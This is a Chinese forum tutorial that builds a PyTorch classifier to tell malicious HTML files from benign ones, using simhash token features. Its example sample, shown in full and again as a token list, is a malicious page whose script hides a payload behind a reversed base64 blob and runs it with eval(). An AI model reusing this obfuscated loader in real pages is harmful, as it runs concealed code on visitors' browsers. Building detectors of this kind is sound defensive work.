首页
论坛
课程
招聘
[原创]基于深度学习的恶意软件分类器(四)
2022-4-13 17:23 5008

[原创]基于深度学习的恶意软件分类器(四)

2022-4-13 17:23
5008

一.前言

1.实验内容

本文的主要内容参考链接:https://www.malwaredatascience.com/code-and-data。在该链接中,作者提供了大量良性和恶意的html文件源码作为数据集来训练和测试分类器,html文件中会包含了该文件用到的字符串,通过这些字符串可以判断一个html文件是否是恶意文件(可执行文件也一样,只不过字符串的提取方式不一样)。通过将这些字符串作为数据,作者基于Keras框架构建了一个恶意软件分类器,用来识别相应html文件是否是恶意文件。因此该任务是一个二分类任务,本文将基于Pytorch框架复现相关内容

2.实验环境

  • Python版本:3.6.13

  • Pytorch版本:1.8.1

  • CUDA版本:11.4

二.数据集

数据集中分别有50000个良性html文件和44812个恶意html文件,两类文件中均抽出5000个样本用来作为测试集,剩余样本用来作为训练集。每一个样本均是如下所示的html文件源码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=WINDOWS-1251" /><title>Wcrypt.com</title><link type="text/css" href="/css/reset.css" rel="stylesheet" />	
</head>
<style>
html, body {width: 100%;overflow:hidden}
</style><body oncontextmenu="return false"><script language="javascript" type="text/javascript">var dva=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function aaq(aww){var dmw=dva[0];var dwm,aam,vqw,qad,awd,qam,awv,dmd,avv=0,mav=dva[1];do{qad=dmw[dva[3]](aww[dva[2]](avv++));awd=dmw[dva[3]](aww[dva[2]](avv++));qam=dmw[dva[3]](aww[dva[2]](avv++));awv=dmw[dva[3]](aww[dva[2]](avv++));dmd=qad<<18|awd<<12|qam<<6|awv;dwm=dmd>>16&0xff;aam=dmd>>8&0xff;vqw=dmd&0xff;if(qam==64){mav+=String[dva[4]](dwm);}else{if(awv==64){mav+=String[dva[4]](dwm,aam);}else{mav+=String[dva[4]](dwm,aam,vqw);};};} while(avv<aww[dva[5]]);return mav;};function amd(dvq){var wam=dva[1],avv=0;for(avv=dvq[dva[5]]-1;avv>=0;avv--){wam+=dvq[dva[2]](avv);};return wam;};var qdm='7kSKlBXYjNXZfhSZwF2YzVmb1hSZ0lmc35CduVWb1N2bktTKkFmdoQGbph2Qk5WZwBXYuEHZhlgCNsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIxRWYgIXY2lgCNszJnASPgMmcz5CZhZXCK0wOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACZhZHIyFmd7cSZzADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1ViZyADM1VyYzADM1VSZzADM1ViMyADM1VSNyADM1VCMzADM1VCMzADM1VSMzADM1ViMyADM1VCZzADM1VCN3ADM1VCO2ADM1VyN2ADM1VSO2ADM1VSN2ADM1VCO2ADM1VCMyADM1ViMyADM1VSNyADM1VCMzADM1VCMzADM1VSMzADM1ViMyADM1VCZzADM1VCO2ADM1VCN3ADM1VCN2ADM1VSO2ADM1VyN3ADM1VCMyADM1ViMyADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1ViZ1ADM1ViY2ADM1VSZ2ADM1VSO2ADM1VyY2ADM1ViMyADM1VCZzADM1VCN2ADM1VSO2ADM1VCMyADM1ViMyADM1VyMzADM1VSMzADM1ViNyADM1ViY2ADM1VSN2ADM1VyN1ADM1VSO2ADM1VyN2ADM1VCN0ADM1VSY3ADM1VCZ0ADM1ViZzADM1VCM3ADM1VCO2ADM1VCM3ADM1VSZyADM1VSO2ADM1ViZyADM1ViMyADM1VCZzADM1VyM2ADM1ViM3ADM1VyM3ADM1VCMyADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1VyYzADM1VyJ9UGchN2cl9FIyFmd';eval(aaq(amd(qdm)));</script><noscript><div style='font-size:20px;'>Please enable JavaScript and refresh this page</noscript><!--LiveInternet counter--><script type="text/javascript"><!--
document.write("<a href='http://www.liveinternet.ru/click' "+
"target=_blank><img src='//counter.yadro.ru/hit?t21.4;r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random()+
"' alt='' title='LiveInternet: Показано число просмотров за 24"+
" часа, посетителей за 24 и за сегодня' "+
"border='0' width='0' height='0'><\/a>")
//--></script><!--LiveInternet-->
</body>
</html>

对于这样的html源码,需要通过数据处理转换为固定长度的向量才可以用来构建分类器,本文的向量长度将是1024。

首先是打开html文件然后获取其中的源码:

通过正则表达式从源码中提取出字符串存入列表中:

['<!DOCTYPE', 'html', 'PUBLIC', '"-//W3C//DTD', 'XHTML', '1.0', 'Transitional//EN"', '"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">', '<html', 'xmlns="http://www.w3.org/1999/xhtml">', '<head>', '<meta', 'http-equiv="Content-Type"', 'content="text/html;', 'charset=WINDOWS-1251"', '/><title>Wcrypt.com</title><link', 'type="text/css"', 'href="/css/reset.css"', 'rel="stylesheet"', '/>', '</head>', '<style>', 'html,', 'body', '{width:', '100%;overflow:hidden}', '</style><body', 'oncontextmenu="return', 'false"><script', 'language="javascript"', 'type="text/javascript">var', 'dva=["\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x6B\\x6C\\x6D\\x6E\\x6F\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x2B\\x2F\\x3D","","\\x63\\x68\\x61\\x72\\x41\\x74","\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66","\\x66\\x72\\x6F\\x6D\\x43\\x68\\x61\\x72\\x43\\x6F\\x64\\x65","\\x6C\\x65\\x6E\\x67\\x74\\x68"];function', 'aaq(aww){var', 'dmw=dva[0];var', 'dwm,aam,vqw,qad,awd,qam,awv,dmd,avv=0,mav=dva[1];do{qad=dmw[dva[3]](aww[dva[2]](avv++));awd=dmw[dva[3]](aww[dva[2]](avv++));qam=dmw[dva[3]](aww[dva[2]](avv++));awv=dmw[dva[3]](aww[dva[2]](avv++));dmd=qad<<18|awd<<12|qam<<6|awv;dwm=dmd>>16&0xff;aam=dmd>>8&0xff;vqw=dmd&0xff;if(qam==64){mav+=String[dva[4]](dwm);}else{if(awv==64){mav+=String[dva[4]](dwm,aam);}else{mav+=String[dva[4]](dwm,aam,vqw);};};}', 'while(avv<aww[dva[5]]);return', 'mav;};function', 'amd(dvq){var', 'wam=dva[1],avv=0;for(avv=dvq[dva[5]]-1;avv>=0;avv--){wam+=dvq[dva[2]](avv);};return', 'wam;};var', "qdm='7kSKlBXYjNXZfhSZwF2YzVmb1hSZ0lmc35CduVWb1N2bktTKkFmdoQGbph2Qk5WZwBXYuEHZhlgCNsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIxRWYgIXY2lgCNszJnASPgMmcz5CZhZXCK0wOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACZhZHIyFmd7cSZzADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1ViZyADM1VyYzADM1VSZzADM1ViMyADM1VSNyADM1VCMzADM1VCMzADM1VSMzADM1ViMyADM1VCZzADM1VCN3ADM1VCO2ADM1VyN2ADM1VSO2ADM1VSN2ADM1VCO2ADM1VCMyADM1ViMyADM1VSNyADM1VCMzADM1VCMzADM1VSMzADM1ViMyADM1VCZzADM1VCO2ADM1VCN3ADM1VCN2ADM1VSO2ADM1VyN3ADM1VCMyADM1ViMyADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1ViZ1ADM1ViY2ADM1VSZ2ADM1VSO2ADM1VyY2ADM1ViMyADM1VCZzADM1VCN2ADM1VSO2ADM1VCMyADM1ViMyADM1VyMzADM1VSMzADM1ViNyADM1ViY2ADM1VSN2ADM1VyN1ADM1VSO2ADM1VyN2ADM1VCN0ADM1VSY3ADM1VCZ0ADM1ViZzADM1VCM3ADM1VCO2ADM1VCM3ADM1VSZyADM1VSO2ADM1ViZyADM1ViMyADM1VCZzADM1VyM2ADM1ViM3ADM1VyM3ADM1VCMyADM1VSN2ADM1VCZ2ADM1VSM2ADM1ViM3ADM1ViN2ADM1VSO2ADM1VyYzADM1VyJ9UGchN2cl9FIyFmd';eval(aaq(amd(qdm)));</script><noscript><div", "style='font-size:20px;'>Please", 'enable', 'JavaScript', 'and', 'refresh', 'this', 'page</noscript><!--LiveInternet', 'counter--><script', 'type="text/javascript"><!--', 'document.write("<a', "href='http://www.liveinternet.ru/click'", '"+', '"target=_blank><img', 'src=\'//counter.yadro.ru/hit?t21.4;r"+', 'escape(document.referrer)+((typeof(screen)=="undefined")?"":', '";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?', 'screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+', '";"+Math.random()+', '"\'', "alt=''", "title='LiveInternet:", '项赅玎眍', '麒耠', '镳铖祛蝠钼', '玎', '24"+', '"', '鬣襦,', '镱皴蜩蝈脲', '玎', '24', '玎', "皴泐漤'", '"+', '"border=\'0\'', "width='0'", 'height=\'0\'><\\/a>")', '//--></script><!--LiveInternet-->', '</body>', '</html>']

提取出这些字符串以后,可以通过哈希算法来对每一个字符串进行计算,将计算结果与要生成的数据长度进行求余得到每一个字符串计算的结果。这里的哈希算法可以有多种选择,本文选择了局部敏感哈希(Simhash)哈希算法,因为该算法可以将相似字符串哈希出相近的数值。将上面提取的字符串进行计算以后,就会得到如下的整型列表:

[447, 545, 843, 36, 779, 100, 155, 165, 545, 2, 814, 1013, 728, 1019, 413, 377, 105, 194, 777, 59, 814, 776, 545, 280, 252, 124, 779, 315, 744, 828, 394, 746, 652, 241, 141, 454, 642, 351, 1019, 155, 630, 479, 637, 705, 178, 215, 659, 676, 790, 757, 685, 51, 59, 163, 308, 129, 260, 292, 380, 59, 21, 492, 459, 969, 587, 242, 816, 59, 2, 548, 242, 816, 242, 813, 59, 145, 699, 40, 169, 280, 545]

对该整型列表进行去重处理,得到其中的每一个不重复的整型数值以及这些整型数值在该整型列表中出现的次数:

去重以后的数值:
[   2   21   36   40   51   59  100  105  124  129  141  145  155  163
  165  169  178  194  215  241  242  252  260  280  292  308  315  351
  377  380  394  413  447  454  459  479  492  545  548  587  630  637
  642  652  659  676  685  699  705  728  744  746  757  776  777  779
  790  813  814  816  828  843  969 1013 1019]
每一个数值的个数:
[2 1 1 1 1 5 1 1 1 1 1 1 2 1 1 1 1 1 1 1 3 1 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1
 4 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 2 2 1 1 1 1 2]

最后,生成一个向量长度(1024)的numpy数组,将每一个出现数值作为数组下标,数值出现的次数作为值赋给对应下标的数组元素:

[0. 0. 2. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 5. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 1. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 1. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0.
 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 2. 0. 0. 0. 0. 0. 0. 0. 1. 0. 1. 0. 0.
 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 1. 3. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 2. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0.
 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 1. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 1. 0.
 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 4. 0. 0. 1. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 1. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 1. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 1. 1. 0. 2. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 2. 0.
 2. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0. 0.
 0. 0. 0. 0. 0. 1. 0. 0. 0. 0. 0. 2. 0. 0. 0. 0.]

现在就可以将每一个html文件中字符串转换为可以用来作为深度学习算法输入数据的向量,接下来只需要将每一个html转换为该向量就可以用来训练模型。数据集中包含的样本数过多(将近10万),而且每一个样本都要经历上述的转换过程,如果所有数据都拿来训练和测试会导致数据处理的时间太过漫长。为了缩短时间,将会通过随机选择的方式来生成指定数量的训练集或者测试集。

最终的数据类代码如下,这里首先是随机产生0或1来选择增加良性数据还是恶意数据,之后在随机产生0到良性文件或恶意文件长度-1的数值来决定具体加入哪一个文件。

import os
import numpy as np
import simhash
import re
import torch
import random
from torch.utils.data import Dataset


class StrDataSet(Dataset):
    def __init__(self, benign_path, malicious_path, file_number):
        self.x_data = []
        self.y_data = []

        # 得到全部良性文件
        benign_file_array = os.listdir(benign_path)
        benign_file_len = len(benign_file_array) - 1
        # 得到全部恶意文件
        malicious_file_array = os.listdir(malicious_path)
        malicious_file_len = len(malicious_file_array) - 1

        # 生成file_number个数据
        for i in range(file_number):
            # 根据随机数0或者1选择加入良性文件或恶意文件
            choice = random.randint(0, 1)
            if choice == 0:
                # 随机选择良性文件中的一个文件
                file_index = random.randint(0, benign_file_len)
                self.x_data.append(get_data(os.path.join(benign_path, benign_file_array[file_index])))
            elif choice == 1:
                # 随机选择恶意文件中的一个文件
                file_index = random.randint(0, malicious_file_len)
                self.x_data.append(get_data(os.path.join(malicious_path, malicious_file_array[file_index])))
            self.y_data.append(choice)

        self.len = len(self.x_data)
        self.x_data = torch.Tensor(np.array(self.x_data))
        self.y_data = torch.Tensor(self.y_data)

    def __getitem__(self, index):
        return self.x_data[index], self.y_data[index]

    def __len__(self):
        return self.len


def get_data(path):
    # 获取HTML中的数据
    fp = open(path, 'r', errors="ignore")
    file = fp.read()
    fp.close()
    # print("HTML中的源码:")
    # print(file)

    # 获取HTML数据中的字符串
    tokens = re.split(pattern=r"\s+", string=file)
    # print("提取出的字符串:")
    # print(tokens)

    # 将字符串进行Simhash以后对hash_dim求余
    hash_dim = 1024
    token_hash_buckets = [
        (simhash.Simhash(w).value % (hash_dim - 1) + 1) for w in tokens
    ]
    # print("字符串计算以后的结果:")
    # print(token_hash_buckets)

    # 去重处理
    buckets, counts = np.unique(token_hash_buckets, return_counts=True)
    # print("去重以后的数值:")
    # print(buckets)
    # print("每一个数值的个数:")
    # print(counts)

    token_bucket_counts = np.zeros(hash_dim)
    # 用字符串计算后的值的次数来作为输入数据
    for bucket, count in zip(buckets, counts):
        token_bucket_counts[bucket] = count
    # np.set_printoptions(threshold=np.inf)
    # print(token_bucket_counts)
    # print(token_bucket_counts.shape)

    return token_bucket_counts

三.模型

模型如下图所示,模型输入长度为每一个html文件的字符串经过转换生成的向量的长度(1024)。该模型具有3层隐藏层的神经网络,其中3层隐藏层神经元数量分别是1024,512,64,每一个隐藏层的输出结果都会先通过Relu函数进行激活,在通过BatchNormal函数进行归一化处理。最后的输出层通过Sigmoid激活函数来输出最终的分类结果。

相应的网络代码如下:

import torch.nn as nn


class StrModel(nn.Module):
    def __init__(self):
        super(StrModel, self).__init__()
        self.classifier = nn.Sequential(
            nn.Linear(1024, 1024),
            nn.ReLU(True),
            nn.BatchNorm1d(1024),
            nn.Linear(1024, 512),
            nn.ReLU(True),
            nn.BatchNorm1d(512),
            nn.Linear(512, 64),
            nn.ReLU(True),
            nn.BatchNorm1d(64),
            nn.Linear(64, 1),
            nn.Sigmoid()
        )

    def forward(self, inputs):
        outputs = self.classifier(inputs)

        return outputs

四.参数设定

该任务是一个二分类任务,因此选择二分类交叉熵损失(BCELoss)函数来计算损失,随后通过Adam优化器来更新模型参数。相关参数设定如下:

  • batch_size: 128

  • epoch: 10

  • lr: 1e-3

  • decay: 0.0005

除此之外,还有数据的路径,训练和测试的样本数等都在Configure中指定:

import os


class Configure:
    # 所需数据的路径
    base_path = ""
    benign_train_path = os.path.join(base_path, "benign_files", "training")
    malicious_train_path = os.path.join(base_path, "malicious_files", "training")
    benign_test_path = os.path.join(base_path, "benign_files", "validation")
    malicious_test_path = os.path.join(base_path, "malicious_files", "validation")

    is_train = True             # 是否训练模型
    model_path = "str.pth"      # 保存的模型的路径

    # 模型相关参数
    batch_size = 128
    epochs = 10
    lr = 1e-3
    decay = 0.0005

    # 从数据集中抽取用来训练和测试的样本数
    train_number = 5000
    test_number = 1000

五.分类结果

以下是用来训练和测试分类器的代码:

import os
import sys
import torch
from torch.utils.data import DataLoader
from Configure import Configure
from StrDataSet import StrDataSet
from StrModel import StrModel


def load_model(model_path):
    if not os.path.exists(model_path):
        print("模型路径错误,模型加载失败")
        sys.exit(0)
    else:
        return torch.load(model_path)


def save_model(target_model, model_path):
    if os.path.exists(model_path):
        os.remove(model_path)
    torch.save(target_model, model_path)


def train(epoch):
    for batch_idx, data in enumerate(train_loader, 0):
        inputs, labels = data
        inputs, labels = inputs.to(device), labels.to(device)

        y_pred = modeler(inputs)                         # 前向传播

        loss = criterion(y_pred, labels.unsqueeze(1))    # 计算损失

        print("epoch=%d, loss=%f" % (epoch, loss.item()))

        optimizer.zero_grad()   # 梯度清0
        loss.backward()         # 反向传播
        optimizer.step()        # 梯度更新


def test():
    correct = 0
    total = 0
    with torch.no_grad():
        for data in test_loader:
            inputs, target = data
            inputs, target = inputs.to(device), target.to(device)
            outputs = modeler(inputs)
            outputs = outputs.data.cpu().numpy()
            predicted = torch.Tensor([1 if output > 0.5 else 0 for output in outputs]).to(device)
            total += target.size(0)
            correct += (predicted == target).sum()
    acc = 1.0 * 100 * correct / total
    print('准确率: %f%% [%d/%d]' % (acc, correct, total))


if __name__ == '__main__':
    os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
    os.environ["CUDA_VISIBLE_DEVICES"] = "0"

    device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
    conf = Configure()

    test_dataset = StrDataSet(conf.benign_test_path, conf.malicious_test_path, conf.test_number)
    test_loader = DataLoader(test_dataset, batch_size=conf.batch_size, shuffle=False, num_workers=2)

    if conf.is_train:
        train_dataset = StrDataSet(conf.benign_train_path, conf.malicious_train_path, conf.train_number)
        train_loader = DataLoader(train_dataset, batch_size=conf.batch_size, shuffle=True, num_workers=2)
        modeler = StrModel()
    else:
        print("==================开始加载模型=================")
        modeler = load_model(conf.model_path)
        print("==================模型加载完成=================")
    modeler.to(device)

    optimizer = torch.optim.Adam(modeler.parameters(), lr=conf.lr, weight_decay=conf.decay)
    criterion = torch.nn.BCELoss(reduction='mean')

    if conf.is_train:
        print("==================开始训练模型================")
        for i in range(conf.epochs):
            train(i)
        save_model(modeler, conf.model_path)
        print("================模型训练完成================")
    print("==================开始测试模型=================")
    test()
    print("==================模型测试完成=================")

由于是随机选择数据,所以最终的测试结果会有所差异,不过准确率都在82%到87%之间


【公告】看雪招聘大学实习生!看雪20年安全圈的口碑,助你快速成长!

最后于 2022-4-14 09:28 被1900编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回